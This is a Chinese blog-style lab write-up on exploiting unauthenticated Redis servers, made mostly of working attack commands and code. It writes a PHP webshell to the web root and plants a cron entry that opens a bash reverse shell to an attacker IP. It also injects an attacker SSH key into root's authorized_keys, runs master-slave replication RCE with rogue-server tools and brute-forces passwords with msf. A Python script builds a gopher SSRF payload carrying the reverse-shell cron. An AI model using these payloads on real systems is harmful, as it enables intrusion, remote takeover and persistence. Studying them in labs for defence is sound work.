天天看點

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

【Linux】安裝httpd+php

一、安裝redis服務

kali:192.168.100.23

靶機(centos):192.168.100.20

靶機(centos)安裝redis服務

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

(如果下載下傳不下來的話:http://distfiles.macports.org/redis/)
           

解壓安裝包:tar xzf redis-2.8.17.tar.gz

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

進入redis目錄:cd redis-2.8.17安裝:make

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

make結束後,進入src目錄:cd src,

将redis-server和redis-cli拷貝到/usr/bin目錄下(這樣啟動redis-server和redis-cli就不用每次都進入安裝目錄了)

cp redis-server /usr/bin/
cp redis-cli /usr/bin/
           
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

傳回目錄redis-2.8.17,将redis.conf拷貝到/etc/目錄下:

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

使用/etc/目錄下的reids.conf檔案中的配置啟動redis服務:

redis-server /etc/redis.conf
           
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

kali

安裝redis服務和上圖一樣。

二、漏洞複現

2.1——寫入webshell

要求

成功連接配接redis伺服器

知道web根目錄的絕對路徑

redis伺服器使用者有寫入權限

攻擊機登入靶機的redis服務

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

目标:在伺服器端

/var/wwww/html/

web目錄下寫入

webshell

CONFIG SET dir "/var/www/html/"  //chang database file location

CONFIG SET dbfilename qidao.php       //change database file name

set x "<?php phpinfo();?>"         //inject shell payload into database

save          //save database to file
           
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

成功寫入

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

2.2——計劃任務反彈shell

要求:

centos服務主機(其他類型的系統,如ubuntu、Debian 由于redis寫到計劃任務中的指令總會不可避免的出現亂碼,而隻有centos主機會忽略亂碼繼續執行)

kali上開啟端口監聽

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

kali登入redis服務,并寫入計劃任務。

CONFIG SET dir /var/spool/cron

CONFIG SET dbfilename root

set x "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.100.23/6666 0>&1\n\n"

save
           
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

成功反彈shell

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

2.3——寫入公鑰遠端連接配接

CONFIG SET dir /root/.ssh
CONFIG SET dbfilename "authorized_keys"
save
CONFIG GET dir
CONFIG GET dbfilename
           
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

當redis以root身份運作,可以給root賬戶寫入SSH公鑰檔案,直接通過SSH登入目标伺服器。

靶機中開啟redis服務:redis-server /etc/redis.conf

在靶機中執行

mkdir /root/.ssh

指令,建立ssh公鑰存放目錄(靶機是作為ssh伺服器使用的)

在攻擊機中生成ssh公鑰和私鑰,密碼設定為空:

本地生成公私鑰檔案

ssh-keygen -t rsa
           

一路回車和y

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

進入.ssh目錄:cd .ssh/,将生成的公鑰儲存到1.txt:

這裡說一下,公私鑰會生成在

使用者/.ssh

我這裡用的是root使用者,是以就進入

/root/.ssh

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
           
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

連結靶機上的redis服務,

将儲存ssh的公鑰1.txt寫入redis(使用redis-cli -h ip指令連接配接靶機,将檔案寫入):

cat /root/.ssh/1.txt | redis-cli -h 192.168.100.20 -x set tide
           
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

遠端登入靶機的redis服務:redis-cli -h 192.168.100.20

并使用 CONFIG GET dir 指令得到redis備份的路徑:

CONFIG GET dir
           
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

更改redis備份路徑為ssh公鑰存放目錄(一般預設為/root/.ssh):

CONFIG SET dir /root/.ssh
           
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

設定上傳公鑰的備份檔案名字為authorized_keys:

然後儲存

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

檢查是否更改成功(檢視有沒有authorized_keys檔案),沒有問題就儲存然後退出,

至此成功寫入ssh公鑰到靶機:

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

在攻擊機上使用ssh免密登入靶機:

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

2.4——主從複制RCE(Linux)

先來看看什麼是redis主從複制

redis為了應對讀寫流量大的情況時,增加了主從模式,此時,會有一個redis伺服器作為主機,其他從屬這台主機的redis伺服器作為備份機,主機隻負責寫,從機負責來讀,這樣就大大減輕了redis主機的讀寫負擔。

利用條件。

redis從4.x版本之後加入了新的子產品,通過外部拓展,可以實作在一個redis中實作新的Redis指令的功能,通過寫c語言并編譯出.so檔案

redis:4.x - redis:5.0.5

在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到

從機

上。然後在從機上加載so惡意檔案,就可以拓展新指令

主從同步示例

這邊開兩台redis_docker

redis 5.0.4的測試環境已搭好上傳至dockerhub 有需要的:docker pull beglage/centos_redis_5

從dockerhub上拉取鏡像
docker pull beglage/centos_redis_5
檢視本地docker鏡像
docker images
           
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

啟動第一個redis——docker容器

docker run -td --name redis -p 6378:6379 --privileged=true --rm beglage/centos_redis_5 /sbin/init
           
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

啟動第二個redis——docker容器

docker run -td --name redis2 -p 6377:6379 --privileged=true --rm beglage/centos_redis_5 /sbin/init
           
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

檢視docker容器

docker ps
           
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

我們先來看看這2個docker容器的ip

docker exec -it a040056d75d3 /bin/bash
docker exec -it 5a7971dcfa1c /bin/bash
           
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

然後通過slaveof可以設定主從狀态(同步狀态),這樣一來資料就會自動同步了

redis-cli -h 172.17.0.2
redis-cli -h 172.17.0.3
redis-cli -h 172.17.0.2
SLAVEOF 172.17.0.3 6379
get c
redis-cli -h 172.17.0.3
get c
redis-cli -h 172.17.0.3
set c 1
get c
redis-cli -h 172.17.0.2
get c
           
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

環境搭建好後,我們現在來複現。

複現環境

kali:192.168.100.34

redis-dokcer1:172.17.0.2

redis-dokcer2:172.17.0.3

有下圖可以知道,172.17.0.2是屬于172.17.0.3,那麼172.17.0.2就是從機,我們攻擊從機就行了

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

網上收集兩個比較友善的getshell python腳本

漏洞利用1-1

https://github.com/n0b0dyCN/redis-rogue-server

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

漏洞利用1-2

https://github.com/n0b0dyCN/redis-rogue-server

kali先開啟監聽

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

反彈shell成功

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

漏洞利用2

https://github.com/Ridter/redis-rce

在Redis 4.x之後,Redis新增了子產品功能,通過外部拓展,可以在redis中實作一個新的Redis指令,通過寫c語言并編譯出.so檔案。編寫惡意so檔案的代碼 https://github.com/RicterZ/RedisModules-ExecuteCommand

因為編寫惡意so檔案代碼的檔案莫得了,我這裡就借下圖。

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

反彈到其他伺服器:

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

2.5——redis密碼暴力破解

redis開啟密碼驗證。

https://itbilu.com/linux/management/Ey_r7mWR.html

vi /etc/redis.conf
           

找到這一行,去掉#号

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

添加-a參數可以指定密碼通路

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

使用msf的auxiliary/scanner/redis/redis_login子產品,配置攻擊目标

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

2.6——Windows自啟動

敬請期待。

2.7 ssrf、redis與gopher

如果通過ssrf探測到内網某ip開啟了6379端口,并存在未授權,如何結合gopher協定來寫shell。

gopher是Internet上一個非常有名的資訊查找系統,它将Internet上的檔案組織成某種索引,很友善地将使用者從Internet的一處帶到另一處。在WWW出現之前,gopher是Internet上最主要的資訊檢索工具,gopher站點也是最主要的站點,使用tcp70端口。但在WWW出現後,gopher失去了昔日的輝煌。現在它基本過時,人們很少再使用它;

gopher協定支援發出GET、POST請求:可以先截獲get請求包和post請求包,在構成符合gopher協定的請求。gopher協定是ssrf利用中最強大的協定

gopher協定格式:

URL:gopher://<host>:<port>/<gopher-path>_後接TCP資料流
gopher的預設端口是70
           

如果發起post請求,回車換行需要使用%0d%0a,如果存在多個參數,參數之間的&也需要進行URL編碼。注意%0d%0a是\r\n的URL編碼。

gopher發送請求HTTP GET請求:

curl gopher://192.168.194.1:6666/_abcd
           

注意:abcd是要傳遞的資料,_會被吃掉不會傳遞過去

由于gopher協定規則比較複雜,這裡借助一個github的工具來生成payload:https://github.com/firebroo/sec_tools

隻需要在

redis-over-gopher/redis.cmd

中寫入redis執行的指令,比如下面的指令直接在web目錄下寫shell

flushall
config set dir /var/www/html
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
save
           

編輯好後運作

redis-over-gopher/redis-over-gopher.py

python redis-over-gopher.py
           

就可以生成支援gopher協定的payload:

使用curl運作payload:(生成的編碼把ip改成靶機ip就行了

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

成功寫入。

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

注:需要将内容再進行一次url編碼傳到web的參數中才會正常運作

使用ssrf端口探測的時候,不要拘泥于http協定,還可以使用dict協定來進行探測

利用gopher協定反彈shell

/*gopher協定反彈shell利用腳本*/
import urllib
protocol="gopher://"
ip="192.168.100.23"
port="6379"
reverse_ip="192.168.100.34"
reverse_port="6666"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""
cmd=["flushall",
   "set 1 {}".format(cron.replace(" ","${IFS}")),
   "config set dir {}".format(path),
   "config set dbfilename {}".format(filename),
   "save"
   ]
if passwd:
  cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
  CRLF="\r\n"
  redis_arr = arr.split(" ")
  cmd=""
  cmd+="*"+str(len(redis_arr))
  for x in redis_arr:
    cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
  cmd+=CRLF
  return cmd

if __name__=="__main__":
  for x in cmd:
    payload += urllib.quote(redis_format(x))
  print payload
           

攻擊機開啟監聽

Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3

參考文章:

https://paper.seebug.org/975/

https://www.cnblogs.com/bmjoker/p/9548962.html

https://blog.csdn.net/weixin_43252204/article/details/115181128?utm_source=app&app_version=4.5.4

繼續閱讀